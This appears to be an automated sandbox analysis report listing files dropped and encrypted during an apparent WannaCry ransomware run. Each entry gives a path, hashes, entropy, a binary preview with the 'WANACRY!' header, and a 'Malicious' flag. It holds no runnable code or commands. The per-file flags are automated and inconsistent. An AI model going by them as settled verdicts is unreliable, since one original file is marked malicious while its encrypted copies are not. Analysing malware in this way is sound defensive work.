                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):1320
                                                                                                                        Entropy (8bit):7.855614982844185
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:24:bkhUlc972EshJ6yG7v0A9h+vIO8DPxTfDiiZMKdk1s4nRuElflv+QxKR52ho1:bkh772V6V0Wh/xxlSKdF+V+QU51
                                                                                                                        MD5:047CCFB12842D577907D4CC28DFDBA08
                                                                                                                        SHA1:4662352F709AA98321F2D23A727919981AD63D1E
                                                                                                                        SHA-256:26A5DF7277FA94106131159F689D78A61EE7C44CBD7B50738F4AB347E41D6E18
                                                                                                                        SHA-512:D219F2D195B507D0DACB1EEC58552CFC0393E6DE9AADF0515238ABB61333F154B47088A60B6E49854546E732082D5FFBEAA2B4F1609302C60E182E0C0BCCE7FD
                                                                                                                        Malicious:false
                                                                                                                        Preview:WANACRY!......W.....Apw).W].v.h%..L..$....Z"iV...$..-...'.O..V.......X..!3`..:-y.....)>.v...Z......'Iv.....w'.. ..}..x%-..0.....b.....;.b3.}..Zt..j.....?9.0.".....]xoK..r.<(Gdo.-~.SZ@R...=.P.......9....+..SV......N...9.G..5w.t...Z.q.N8.z...g..;..u..xOU.T..............[.{;..H. ..([..................XgLT>..9y..,.1...57.....,..O=.O....A.7'x\)6,..]....4..f;u 3..E.7..<.......-Q..^M..B>s.h.b...D.....s#1....k...J....Z$.....$>.V.....m.l.F.X..F..D..l.E<.}...%Le..P..<y....Z=w....].m..-.S..*!E.<..]...[....Sd.../..:.q.C..=,.....J..8.D..c<.N...#.Q&A......z..v.....B.F.C;......|d..Z..j..%..H#.#c...$..c......9...sS:Q...`...L..]..i....O..@~.NR.7K....tH....^...._/+a.UB.e.%.K....V....Ry..%-.0$6.la...D.0.N..b..J2..&..>..6....~.,&O.W*....V./.px....k .q{.....e..[r:[4.7t.t.:.]....}!...,..:}-._!...0.C...Ck........y..'.TYG..._/}.;..\...n.R....5.9..._...iE.!\h?.L..E......{..F"".]|#..:d..:h....mz..P.b.W...&#4.x..3.............9.......=;.-.. ....w..6s...p.g

                                                                                                                        C:\Users\user\Desktop\MXPXCVPDVN.mp3

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):1026
                                                                                                                        Entropy (8bit):7.821195580617885
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:24:E+AVlbqm0+s3S+tZ1SHNvgULVKmTKMIwQlKOg/9RDYx:EfVd50+s3SiZ1SHptLrTrIwodgPDYx
                                                                                                                        MD5:1B694278FE1337591724AE0A9A98DD05
                                                                                                                        SHA1:AC74D20FDAF876F1372CA3B79DBC77BA1E9746DB
                                                                                                                        SHA-256:9A730854795373C71A792782E864BB729890CAF0F7B3BACFED073D2D7D3D6888
                                                                                                                        SHA-512:C75A7F16BF1DC7B39B876F03F1505828D987070F391404BC9061E43DF7198B85FDB573A94B76546976B5027F4531777D7AFEDEE90E9A01EA30EB8A8E2A7D2D9F
                                                                                                                        Malicious:false
                                                                                                                        Preview:..3.P!*E..K...A..e:.G$26..\Tf..~ky."o[..Q...../.S..e-.[....f.?gg2!..#.`../F4.B.....9.....8..up....~2m.U`...%....{y.6Cn.N..6..M.uP......i!...R.y!O.[$.y/..#..../...[.YF.)....S..j..P ..KH..Q......+gZ.q..rw.^Hi...d.......X..7.p;Kf.....a|......v.....5*..r....w/...@.. .....CG..........\W.\<.F.x._6c6m.c@..#DH.l..k..a.8.5.......-.27..vfM.>..y.'y.5.k.f'...._.91...... ..S...^.......!.....j..Z...r.K..P..0k>......u:..M.*....Oh......i\dF.b.....h...d.>q..".a........7.%..).H.^.....|.K.W.6^...g$.).....|....].c..22-g1@.X1!z...;...g...w.x.2...`...Kd<i`.r....!...ui.........l...c.......[Rb..a...u...d..5br..k.B.$..._...n..6.4e..R]..oK...m.".b..6.;_j2X?L.-.JU...L..a..\..N..C~.....9....>.s.......g...d6l...vQ@..L3..w...|.[D=.x... ....4..5h..?..G}R...&b..)8..e..s..7h0.(......'.^`..V.....(b..X.\#V....p:.fc.,k.Op#m.AP.$@..L.....qz$..B...G...2"e...15F|3...T.,.....-....fg.?6.,W.U..9.wX.U....T...{.G..:.#..;....r.eP...1"..}%=.>.b....3.1v%t.S .&..........".Fd...a.C,

                                                                                                                        C:\Users\user\Desktop\MXPXCVPDVN.mp3.WNCRY (copy)

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):1320
                                                                                                                        Entropy (8bit):7.84786858499101
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:24:bk3rhvHMG84Sl3kl4h3pfamxL1gEoiHmDwagpbbienHNtru5TeEi/0:bkbhv+r33pfaywiH0wzpSyttqzi/0
                                                                                                                        MD5:192301DB64B57D058CA84BED49F66D0F
                                                                                                                        SHA1:EFB5F5A9DA7C89340A3E7568E3B9FD886DBF550A
                                                                                                                        SHA-256:3D097C77075D5EA32ECF2A2E4C4B0DBF0285825FFDE7E38F8AE44622F01C73CC
                                                                                                                        SHA-512:58445BB94BCB1A59A00A889D54994CD758317AFCF751D14DF009A2C9D9C23517C76E31178FB4CB885602A96209BAAC5FDB786ED0193E4C24290E5F0172515E77
                                                                                                                        Malicious:false
                                                                                                                        Preview:WANACRY!.....aQ.Eq...e..c^.M_..H..8M{.JR..^Se{bs.o........KN.8.T..)..NLe.4...VT..;.z....e+....&.^g....sz=.....`..5..>..a.)...4.}.....v"U+.<.u......w...].x....!.u.*C.\..H...4A..F>T.Ujo..}L.a[_...Hr..H......-(.}<N..9..'...x.-e3..nt........SM..'..h5..`,Z.Z............w....o.S..3....F@....{.4.L..%s......q...]9.+.C.m...&.....>N.du4..l..^pT..6a...R.q....p....Hmv...7.X.MU.T....w..: o..'..C.....:.#...9.L..#+.}Z0..'(Q..&.^).....<.........|.J.q.w..D.o/.....o.D..;.4.Kr.x..V.@...a.x..$...L..{...g_.).i.2...E....YK.....s.../r...=.]j...<....?.f......IS..~..@.M.*i..*s.N.v.........>R.l.9.ax..H..r-e.r.A......zR......&...\....J..W..[.e!.q.z).!....[~i ..m...!.CA.^;..._/8.....t................K..Ka..:.A.......C..^......G.d..o[.|...9.'.m....l:E;2.7.L.....bn..'/.Wr.Id...7...l...WfHV../..xrW7|..a..B....Y...2..B........x......"d.o...Yb..._.....\...Q.........'.G... .......3"zD....M....h..vX.%5.{..!fq.....K..F...F...EN..l..e...6YW..~.R.....}...NX.(.P.....k....>./.<..W.

                                                                                                                        C:\Users\user\Desktop\MXPXCVPDVN.mp3.WNCRYT

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):1320
                                                                                                                        Entropy (8bit):7.84786858499101
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:24:bk3rhvHMG84Sl3kl4h3pfamxL1gEoiHmDwagpbbienHNtru5TeEi/0:bkbhv+r33pfaywiH0wzpSyttqzi/0
                                                                                                                        MD5:192301DB64B57D058CA84BED49F66D0F
                                                                                                                        SHA1:EFB5F5A9DA7C89340A3E7568E3B9FD886DBF550A
                                                                                                                        SHA-256:3D097C77075D5EA32ECF2A2E4C4B0DBF0285825FFDE7E38F8AE44622F01C73CC
                                                                                                                        SHA-512:58445BB94BCB1A59A00A889D54994CD758317AFCF751D14DF009A2C9D9C23517C76E31178FB4CB885602A96209BAAC5FDB786ED0193E4C24290E5F0172515E77
                                                                                                                        Malicious:false
                                                                                                                        Preview:WANACRY!.....aQ.Eq...e..c^.M_..H..8M{.JR..^Se{bs.o........KN.8.T..)..NLe.4...VT..;.z....e+....&.^g....sz=.....`..5..>..a.)...4.}.....v"U+.<.u......w...].x....!.u.*C.\..H...4A..F>T.Ujo..}L.a[_...Hr..H......-(.}<N..9..'...x.-e3..nt........SM..'..h5..`,Z.Z............w....o.S..3....F@....{.4.L..%s......q...]9.+.C.m...&.....>N.du4..l..^pT..6a...R.q....p....Hmv...7.X.MU.T....w..: o..'..C.....:.#...9.L..#+.}Z0..'(Q..&.^).....<.........|.J.q.w..D.o/.....o.D..;.4.Kr.x..V.@...a.x..$...L..{...g_.).i.2...E....YK.....s.../r...=.]j...<....?.f......IS..~..@.M.*i..*s.N.v.........>R.l.9.ax..H..r-e.r.A......zR......&...\....J..W..[.e!.q.z).!....[~i ..m...!.CA.^;..._/8.....t................K..Ka..:.A.......C..^......G.d..o[.|...9.'.m....l:E;2.7.L.....bn..'/.Wr.Id...7...l...WfHV../..xrW7|..a..B....Y...2..B........x......"d.o...Yb..._.....\...Q.........'.G... .......3"zD....M....h..vX.%5.{..!fq.....K..F...F...EN..l..e...6YW..~.R.....}...NX.(.P.....k....>./.<..W.

                                                                                                                        C:\Users\user\Desktop\MXPXCVPDVN.pdf

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):1026
                                                                                                                        Entropy (8bit):7.796648249930545
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:24:9S8Bk8pDYoEw42BTgAtxYBUYeHhDeX3y1XGWdKg:/LpYopGPSvH5Si12Wcg
                                                                                                                        MD5:CA204A2CD3E9A56FA75F1E13468AE63D
                                                                                                                        SHA1:3FF15844DBD61B3267091BF7B2DF53FFC3F63CEB
                                                                                                                        SHA-256:4B6CA83591C11F692B2AF2C1CD359FAECE9F9CCA4B3CA397D27420C794B6959A
                                                                                                                        SHA-512:CB76A53C6826DDA742DA6672F70284FC09A6E7B5A10936B7C6C8249A1C98A1CAC4F8B645586901FFD9590AD844522AA0691BD31D849871B312264A564D8E89A2
                                                                                                                        Malicious:false
                                                                                                                        Preview:.C......fJ=....D......q..}..*..r.t.>..:.fc....._.......h.N...M.m.Oc.Cn#.S*9{.RC.L..r+82)h..&x.X[*...f5.<>..#.T;b..nkG....w.!"...Ed|....B._"..kE/9...k$.[[.hW.Uj$.m.....X.$n...J,j:..-c.8..#..eTM\QE.#i..8..hzT.b5..&.ZZ.M..J..+z...z..(.1.=0.v..D.....]..A.36.f...:pgS..7.....:...Lt..m...+....{.'w9........(.......z.t.Tcz.3R......t.aa...;...1.M..A.z..q....'..........@.$e.BM[ x..|o.Q.R., ......VfDzI;@9....GF.&`.)....".y.M..-T..`%...8[<.y..a...l.t..v..x...<.Bw...'6G.h.B.a.C....Im.S.... .7..W...k!....ZY..=...r.W..e"..t.g..I(.....{q.G~..C.S..AI.uRU....1Ez.Q.?.... .T.:..0]."c.l`."..?7.A..Y..ZIV..W...IP ..7!>.B.D.....scr.....+*{...p,Ej37.a..=.b..w......(D.pT_J..m......Sz.[d..I....D@E.81(.;........'.L.M.I'P.|:..-.......a..-.#.C.z.../....S..v...p.........K~..54...\q;...j'.K./<..G.9/2,.vz..o..UV..x.....K%Cif..."O".....!.`.....26.3..s..'._?sA..GEw2...7<.$.e.q.?...f..,.=.<.......I\...\.........Lo.E'...WPl3.2.A>.......=.....CX...5..M.,..7>.F1....?V...CG..b....

                                                                                                                        C:\Users\user\Desktop\MXPXCVPDVN.pdf.WNCRY (copy)

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):1320
                                                                                                                        Entropy (8bit):7.835281014598955
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:24:bkAqJ6LjZ2X5KUkTrSO/8NOMn5IdlYsnvhDVyxAugFRHRDa9T71m4Q0p:bkAfnZ0aSQRJlYsn5JuMHRDQJm4Q0p
                                                                                                                        MD5:32E55C89C64FF40DBD556CB88DBF3B61
                                                                                                                        SHA1:BD8328A0C01271878912450743D41033CBFB2AC2
                                                                                                                        SHA-256:58EFA40AE0B64B043C099857428926B67BB5FB48B7763B6B4DA510CCA8522CAD
                                                                                                                        SHA-512:0EF7DF4D1A0180722B3D51B2B473B58D30ED2EE7EBCB33F687C1C1B621B75E436353B90FEE5F76A562A341147B67371F33B71B0196DC598AD98FCBD5B440A2B3
                                                                                                                        Malicious:false
                                                                                                                        Preview:WANACRY!....R.UP......o..G..........elLn.<...F5..V.1....)^ ;(..q.\.}..A.SY..!.W.*...3o...n....wh...HU...^*I...b?.A....$.....y..32U?.'b.......^....W...#.u...5...iR..._...V.@t..f{zp.yK..?...a.w........y)b.IL.a...........@...4..M.....T..l.!$T{.).fE....8....b..............%}....z.}Q^.n(.}.0.*~.j>.KF7?B......-Hr2.k..+.O.o..UM.T...../..0Ml[.f..y1.d9F..K....\m.....y..P*...:.wP.....!...&0.{.U:i>Q.2.&.}ng.M.J..2<=..'.....[./.'..T\..<\........4.@."1h...9....t.Z*.s.G.@$ .c.?M7+5.a.!.....+...."............/3.L..?..U,....V=..[K....G4Wl..MR.R....k.....D..;.y.d.c.....,u....#....4....A..gK.qs6*........=s.4.Hj.y.c.......y.../..rMZ.c9z......Q..j..=...v+@...$%..5j......t.n8....h.4..y6...AIs<S+.'..(.+.d2}.i.)..h..T..I*d.]..p(.p*.A.t:....Q..^.M...>.slK:..4.K.....z%-.......u..C.>......r..lp..2.&..d....k.w....D.....I.?.>S.....mD..i..!.`k.Q....\!.b.....G.t....`....F..^/..........+9ia...l.5hGH..(......D.(....6.b..K..;...|..p:...`rw.Qt=...H....8..%.M...s.cM=...Z].).

                                                                                                                        C:\Users\user\Desktop\MXPXCVPDVN.pdf.WNCRYT

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):1320
                                                                                                                        Entropy (8bit):7.835281014598955
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:24:bkAqJ6LjZ2X5KUkTrSO/8NOMn5IdlYsnvhDVyxAugFRHRDa9T71m4Q0p:bkAfnZ0aSQRJlYsn5JuMHRDQJm4Q0p
                                                                                                                        MD5:32E55C89C64FF40DBD556CB88DBF3B61
                                                                                                                        SHA1:BD8328A0C01271878912450743D41033CBFB2AC2
                                                                                                                        SHA-256:58EFA40AE0B64B043C099857428926B67BB5FB48B7763B6B4DA510CCA8522CAD
                                                                                                                        SHA-512:0EF7DF4D1A0180722B3D51B2B473B58D30ED2EE7EBCB33F687C1C1B621B75E436353B90FEE5F76A562A341147B67371F33B71B0196DC598AD98FCBD5B440A2B3
                                                                                                                        Malicious:false
                                                                                                                        Preview:WANACRY!....R.UP......o..G..........elLn.<...F5..V.1....)^ ;(..q.\.}..A.SY..!.W.*...3o...n....wh...HU...^*I...b?.A....$.....y..32U?.'b.......^....W...#.u...5...iR..._...V.@t..f{zp.yK..?...a.w........y)b.IL.a...........@...4..M.....T..l.!$T{.).fE....8....b..............%}....z.}Q^.n(.}.0.*~.j>.KF7?B......-Hr2.k..+.O.o..UM.T...../..0Ml[.f..y1.d9F..K....\m.....y..P*...:.wP.....!...&0.{.U:i>Q.2.&.}ng.M.J..2<=..'.....[./.'..T\..<\........4.@."1h...9....t.Z*.s.G.@$ .c.?M7+5.a.!.....+...."............/3.L..?..U,....V=..[K....G4Wl..MR.R....k.....D..;.y.d.c.....,u....#....4....A..gK.qs6*........=s.4.Hj.y.c.......y.../..rMZ.c9z......Q..j..=...v+@...$%..5j......t.n8....h.4..y6...AIs<S+.'..(.+.d2}.i.)..h..T..I*d.]..p(.p*.A.t:....Q..^.M...>.slK:..4.K.....z%-.......u..C.>......r..lp..2.&..d....k.w....D.....I.?.>S.....mD..i..!.`k.Q....\!.b.....G.t....`....F..^/..........+9ia...l.5hGH..(......D.(....6.b..K..;...|..p:...`rw.Qt=...H....8..%.M...s.cM=...Z].).

                                                                                                                        C:\Users\user\Desktop\MXPXCVPDVN.xlsx

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):1026
                                                                                                                        Entropy (8bit):7.806895789051642
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:24:bdnYZPItwF819xBcKIhCIRYHzYtjTzUX0XNVVlxsrdtS:bhCcZcKIhCbgj80Xz8G
                                                                                                                        MD5:00A04C40084842AAD940B20B084156A1
                                                                                                                        SHA1:7025D6EB1C5D0044FDAE30D7AEB4E5711764FC8F
                                                                                                                        SHA-256:453001E6B44E3CFA8FE69BCA159013D5ADC7BF3C7A8F02793AD8825B798EFB41
                                                                                                                        SHA-512:675FEBD2459866C75B2A12BB98AE8BADD5E3D831871074E60D9525590EF53C501F538272D9610943BECF89FB9E0AE9A2471B23BD63FB304AD43C1DDC1157A19C
                                                                                                                        Malicious:false
                                                                                                                        Preview:..(?......s..Gnw<$...J.Zo!.F.....$.S.Ig.'.P..cz.$"h.A|..r..j.Ibd.3<C@0.t.......-.#'...r....N.O.%~.....n......q5.G....s+....!....T.........._OO....z....!@...S@...a....kg..ubX|.....!.....g....T.m.)......RS.U......Ph..>..0V.Yg.!..el.x...M...T....<|.c..3d..?..&.AE..ex`.zji...H"u.2...=...F.!.E.0...'..!.^..}.4..^.......F.............3BUV/..].`84.H...|.<f.#3i2G}..@.....m.&iU.V...3b.3R.....-.B..TE.|..P..(}..N?.G_.m..kVT......zn"a....D$f.E...J<....1e;.=.h).S.(.b...f-.;]j..m..:......F`..N98.....x......^:..#...).n..e.=..X.<.....o.k."....|B..T..RI.....+.....bs....q......)...g...c.-.....z..K,...)..2..........qV..J..l.$..Y..N&;.v.'.l..l`.....hQ.pB6..M...S...I.|P..o6..5.b..4..S......"V.?...7..L9...cx.W.....-z.h.>..I.....2..|...6.}.+`'A....g.z.....Jj`......!.......TphZ..aF..I(_ ..s.r7...X.......I...b...]...;.Lw.6.f4..).+.c<..*...W....&+3.*...%......*|...GQj.^3.8...;..U.9sI.Qv.`.....s!..s.K.;tEA...q.../#....h3*`MW..-.....f.%gQ..z.P.#...*...@....&<...;/......

                                                                                                                        C:\Users\user\Desktop\MXPXCVPDVN.xlsx.WNCRY (copy)

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):1320
                                                                                                                        Entropy (8bit):7.839832415041333
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:24:bknLGDtvpzUEsPOcBlVARxlkFxREYRWbfnAOQOX2YQ8VJ9XG4Q1A79ORLsS28/ir:bknLIsPOzpuEYRWHswXGQRK/R6
                                                                                                                        MD5:C74C999D41E6E272CC7A2FD677C05F60
                                                                                                                        SHA1:B180DCDE2E4B2DBF308E1936BDB328CA5B2E71D5
                                                                                                                        SHA-256:81A3FDC1BEDCD7684558B49D41D65C17A5B748056AEA03F30DC4C6E56F1B73C4
                                                                                                                        SHA-512:9D6D973122EA0660D28EA5EA40008062C36F332B493AF6D94961050D079CF44C59C3F38A7234B83F7B19120CB93DA4D49FE58297927E7AAFDA9CD7A9CD7183C9
                                                                                                                        Malicious:false
                                                                                                                        Preview:WANACRY!......=.G..XS.~v..X....(.~g....L..VG,.f...?I...S.....V....5.D8.^.K'h.N....r;..=j.-#....K.c....p.*.;;.....K-+YLb.........D.FF......h.e.HM8..]A.sM..2..a.xz.....5..%.....^]..%"....k....:....w.Tc. j.%[.r>....E.6..33~.z...T...........dT..z. ..................Yf...@.VC_z#..>@..X......L....y..L...JS..E#..!.].....8..EY<.b."$.1w..b.........-9...e.R*.1>...h.n.3....p.:."...#a}j...S.`.%|...e.Xu...c...F..*....>I.W.D.....r.,......*.bf........7}}....8c.5!2x<..5d.kE@..:. .&..F..Ss.>7.~.?._t7?B%.Q......(.].i.....R...4w.4l.7..D+.&.7...wj*~.(o...LFr9......Y....3j..5j.-R.9..2>..mq..{l.S^.....(...c!.......}..F......b*s..2^0USB|IZ.._.....f.>.H.w.<.L.}.|j"...0.w......dW}.S.P.DAO...9.....e..D.15...i..P.xC..2XT.X<..i.+........+.w...,.F..,...<...X..o....fq[.C...c...&.H..zw..X...>#P9K.7x...<.....r.6G.1,...X...>.Tyn....wE.c...v(.p.H..e.(6.^..0..Pmi....n..$Z..r.cd.p.......Q..i...&.s.!.KBAc+..........O...=..#,g$F.*...-...(.K...?*.y.Ew..f1.+y7./B'N.,,+.=

                                                                                                                        C:\Users\user\Desktop\MXPXCVPDVN.xlsx.WNCRYT

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):1320
                                                                                                                        Entropy (8bit):7.839832415041333
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:24:bknLGDtvpzUEsPOcBlVARxlkFxREYRWbfnAOQOX2YQ8VJ9XG4Q1A79ORLsS28/ir:bknLIsPOzpuEYRWHswXGQRK/R6
                                                                                                                        MD5:C74C999D41E6E272CC7A2FD677C05F60
                                                                                                                        SHA1:B180DCDE2E4B2DBF308E1936BDB328CA5B2E71D5
                                                                                                                        SHA-256:81A3FDC1BEDCD7684558B49D41D65C17A5B748056AEA03F30DC4C6E56F1B73C4
                                                                                                                        SHA-512:9D6D973122EA0660D28EA5EA40008062C36F332B493AF6D94961050D079CF44C59C3F38A7234B83F7B19120CB93DA4D49FE58297927E7AAFDA9CD7A9CD7183C9
                                                                                                                        Malicious:false
                                                                                                                        Preview:WANACRY!......=.G..XS.~v..X....(.~g....L..VG,.f...?I...S.....V....5.D8.^.K'h.N....r;..=j.-#....K.c....p.*.;;.....K-+YLb.........D.FF......h.e.HM8..]A.sM..2..a.xz.....5..%.....^]..%"....k....:....w.Tc. j.%[.r>....E.6..33~.z...T...........dT..z. ..................Yf...@.VC_z#..>@..X......L....y..L...JS..E#..!.].....8..EY<.b."$.1w..b.........-9...e.R*.1>...h.n.3....p.:."...#a}j...S.`.%|...e.Xu...c...F..*....>I.W.D.....r.,......*.bf........7}}....8c.5!2x<..5d.kE@..:. .&..F..Ss.>7.~.?._t7?B%.Q......(.].i.....R...4w.4l.7..D+.&.7...wj*~.(o...LFr9......Y....3j..5j.-R.9..2>..mq..{l.S^.....(...c!.......}..F......b*s..2^0USB|IZ.._.....f.>.H.w.<.L.}.|j"...0.w......dW}.S.P.DAO...9.....e..D.15...i..P.xC..2XT.X<..i.+........+.w...,.F..,...<...X..o....fq[.C...c...&.H..zw..X...>#P9K.7x...<.....r.6G.1,...X...>.Tyn....wE.c...v(.p.H..e.(6.^..0..Pmi....n..$Z..r.cd.p.......Q..i...&.s.!.KBAc+..........O...=..#,g$F.*...-...(.K...?*.y.Ew..f1.+y7./B'N.,,+.=

                                                                                                                        C:\Users\user\Desktop\NEBFQQYWPS.pdf

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):1026
                                                                                                                        Entropy (8bit):7.804987792622673
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:24:r8nA124xf6HGvMCg+kq4n66bPvWoxpBf49hJ0+Prj6Sq2YSeGN41vHHv+eQd4uo:YA124B+Cg/q4nfPvWoxjf40+PrGAC5Pf
                                                                                                                        MD5:575DBE9C62141307B58D7E52009A3F9F
                                                                                                                        SHA1:372EA9BDDBFB78C54AB41C0427812493447C4FFF
                                                                                                                        SHA-256:4DD7E9B344DF170278BD8E0544DE9CDC0ACD2381B9B4321260D58BF0703FB434
                                                                                                                        SHA-512:754455A48A9DED25F239B4B3B8DFFAEE9654E389B9A3CB7A3C73BFC0CBBE8A95DD63530189EA43AAB9E14A24A1BF4B4D656EF8BB3692E75CCFB8B784C6B41ACB
                                                                                                                        Malicious:true
                                                                                                                        Preview:m pp#.K}.......a+.#!..7..6-.....f"..A.... o..2...........eS..D..0....f..}..^.e.5.2.......fT.....E...GB...+w..*.sI8..G..Y.{Mb#.y..i......i.>.y..B....B..$...?...B...+..uW.?.G0.P...,/..[DV..,'...d..6...>c...k.[....$..W.V..-...B..[.Q....;VG..[Q....AY.~)...7...h..<.WT...H.1...x>f.$V......jo..VU..4./.......T*..........lE..N%.R......z......[.[...*So.p..5..V[...M.3....>:~..Mrf......./..C.1....(.}....U8`..>..}.!...K........bC.:$n.Z.cg.r..(J.a..}.i1#.dY..]...`...]....._.....~8.[.''...@.=z|c.>...1*..7..Y...O}az.Q...]..a.jS..VU..f.s....0.f..l......1...b.L....mAl\.z8..`.F..}q..".Va....m3l..."H........e).:...7..p..e...X.Y......^....(.s.>:..=.....=8)1...s[U.M.f....W.D...]0%.i.....g...........;..u..]z..&...O..7....V.3..:O.....%.".,.N.e3.9.f...=.Jd.#.0.p...N..+..MU5..G...k..e;..,+8..."..7E.n..aS...f....V,0v.$02.~..7q.>.i... ....*.|A.Q....../.05c....+x.......\c..-..^.dkmk...(.*x...S.......x.D...J.....%d.........m.n.(d...qjO#A..0.Q....-...m.....3..u.....H#.r..

                                                                                                                        C:\Users\user\Desktop\NEBFQQYWPS.pdf.WNCRY (copy)

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):1320
                                                                                                                        Entropy (8bit):7.857370857642297
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:24:bkA5ORUyJS5OJ4m3wRXoz0eh2gZ5wxZXzEapItik85winYSjG2owro7TYs:bkWZcJ4m3Vth2iCZFWok85hFG2oP
                                                                                                                        MD5:CE80D5A5C6F936A5DCEA0503670DF081
                                                                                                                        SHA1:F76BF13243DD92892475E85D065D41CACD73F78B
                                                                                                                        SHA-256:374BCDF7E52F47F7474DCC930008AB66DAA39ECBF99F6324CA8AC1F6141C19D8
                                                                                                                        SHA-512:2D715B2C41E89A1B0B99793DF91FAEDCE2F5E7A336D9348CBF6EA6AB5C677EF366501A2F8B4A36A5BB182A8E8E992160409AA00673D28CCB59230862E7164793
                                                                                                                        Malicious:false
                                                                                                                        Preview:WANACRY!..../.x.].I0H./...-.)...NrX....*."'....W~...mb.eQ`.Y..\.9..,*93....}...^^...T2.).E.)H...`6~...o.m.5.H...H.....5...$..<.iC....L.J_......O...t....3.SnW,..../..YQ..3.o-P....5...jC.x.*7.......[...'.l......X..Np..z.%&.cA.......K7...}...hi......$UI.._;..............`.CJ...Bw*....I....>&..4I....,*NmV.e.........cv............o.N.)....-....m...Z'.~.V.0..f.q....!-.$!.g..........U..Gr..a..0L....>...s..VH.(.e..7.v.].......*Hg...=r.V9i.@1..?..r.._.b.LR.hD......o..........?e.....O...0..V.M~....J..C.....LK......Wp.._}...E......A...OB.k.!i.....8[!..>..PN..D..u...-.....A.M.b.d.G.KZ.......z..>.i..C....J..w......./.O.k.....L...E...Dh.Zr...Z._@..z....mX..+WGQ.P.T...#..'..=.C.T...U.?.O.X...}....<...,.i.I.Z......gTy.g.|M.S..r+...<.M.a(D.P...aE.P..Q..e..tO3~>.<....1.j..D.K(.....-...Xu=.......H....A.^J..'..-....pC[.1P.....P.."2..9C...\..?.-.v#{ ..Q...O.&5(n..*.$......~f l'B..5k.q..G..k.'.H.m\.=X....Q.^5?...3.<....1.Z.....S..........V.*.{{4...o....7..

                                                                                                                        C:\Users\user\Desktop\NEBFQQYWPS.pdf.WNCRYT

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):1320
                                                                                                                        Entropy (8bit):7.857370857642297
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:24:bkA5ORUyJS5OJ4m3wRXoz0eh2gZ5wxZXzEapItik85winYSjG2owro7TYs:bkWZcJ4m3Vth2iCZFWok85hFG2oP
                                                                                                                        MD5:CE80D5A5C6F936A5DCEA0503670DF081
                                                                                                                        SHA1:F76BF13243DD92892475E85D065D41CACD73F78B
                                                                                                                        SHA-256:374BCDF7E52F47F7474DCC930008AB66DAA39ECBF99F6324CA8AC1F6141C19D8
                                                                                                                        SHA-512:2D715B2C41E89A1B0B99793DF91FAEDCE2F5E7A336D9348CBF6EA6AB5C677EF366501A2F8B4A36A5BB182A8E8E992160409AA00673D28CCB59230862E7164793
                                                                                                                        Malicious:false
